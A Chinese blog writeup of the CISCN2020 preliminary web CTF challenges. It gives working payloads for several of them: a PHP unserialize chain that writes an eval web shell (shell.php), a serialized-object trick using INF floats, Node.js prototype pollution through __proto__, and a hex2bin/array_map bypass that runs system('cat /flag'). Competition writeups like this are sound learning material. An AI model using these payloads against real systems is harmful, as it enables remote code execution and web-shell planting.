CISCN2020 初赛WEB writeup

CISCN2020 初赛WEBwriteup

babyunserialize

题目给了源码

经过一番搜索(搜__destruct)找到了image.php jig.php ws.php

查看了一番代码,发现jig.php里面有write函数,综合查看一番,是可以任意写文件的。

根据代码,写入初始化变量的值:

image-20200824104135895

这样即可让它写到web根目录里面的shell.php中。

然后就是输出url编码的序列号字符串了:

image-20200824104121782

然后访问:

1
/?flag=O%3A6%3A%22DB%5CJig%22%3A6%3A%7Bs%3A7%3A%22%00%2A%00uuid%22%3BN%3Bs%3A6%3A%22%00%2A%00dir%22%3Bs%3A2%3A%22.%2F%22%3Bs%3A9%3A%22%00%2A%00format%22%3Bi%3A0%3Bs%3A6%3A%22%00%2A%00log%22%3BN%3Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A9%3A%22shell.php%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A26%3A%22%3C%3Fphp+eval%28%24_POST%5B%27d%27%5D%29%3B%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A1%3B%7D

即可成功getshell

然后通过phpinfo();查看环境变量里面的flag值即可。

image-20200824104108940

easytrick

直接给了源代码,尝试过让trick1=array(“0”) trick2=array(1)

结果发现在__destruct中把trick1强制转为了字符串,直接变成了string(5) “Array”

后来发现当浮点数过大的时候会变成INF

所以让

1
2
$this->trick1 = (float)9e999;
$this->trick2 = (float)9e999;

最后得到序列化字符串:

1
O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}

然后提交即可成功getflag

littlegame

很明显考察原型链污染。

查看源码就不说了

GET访问/SpawnPoint初始化session

查看代码发现使用 set-value,该js允许使用.来设置对应key的value

那么我们可以看到:

1
2
3
4
5
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}

那么我们可以通过

1
setFn(req.session.knight, "__proto__.password4", "test");

污染Admin这个object的键值对

image-20200824104400190

然后再:

image-20200824104408894

顺利得到flag

rceme

直接给了代码,发现payload必须满足{if:xxxx}xxx{end if}格式

对于每一个xxx都会通过danger_key()过滤一下

综合一下还是采用hex2bin配合array_map绕过,把system /catflag都转成hex(array_filter也可以)

最终的payload为

1
/?a={if:array_map(hex2bin('73797374656d'),[hex2bin('636174202f666c6167')])}xxx{end if}

另一个

题目忘了,没做出来,后来看了一下,让子进程异常就行了。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!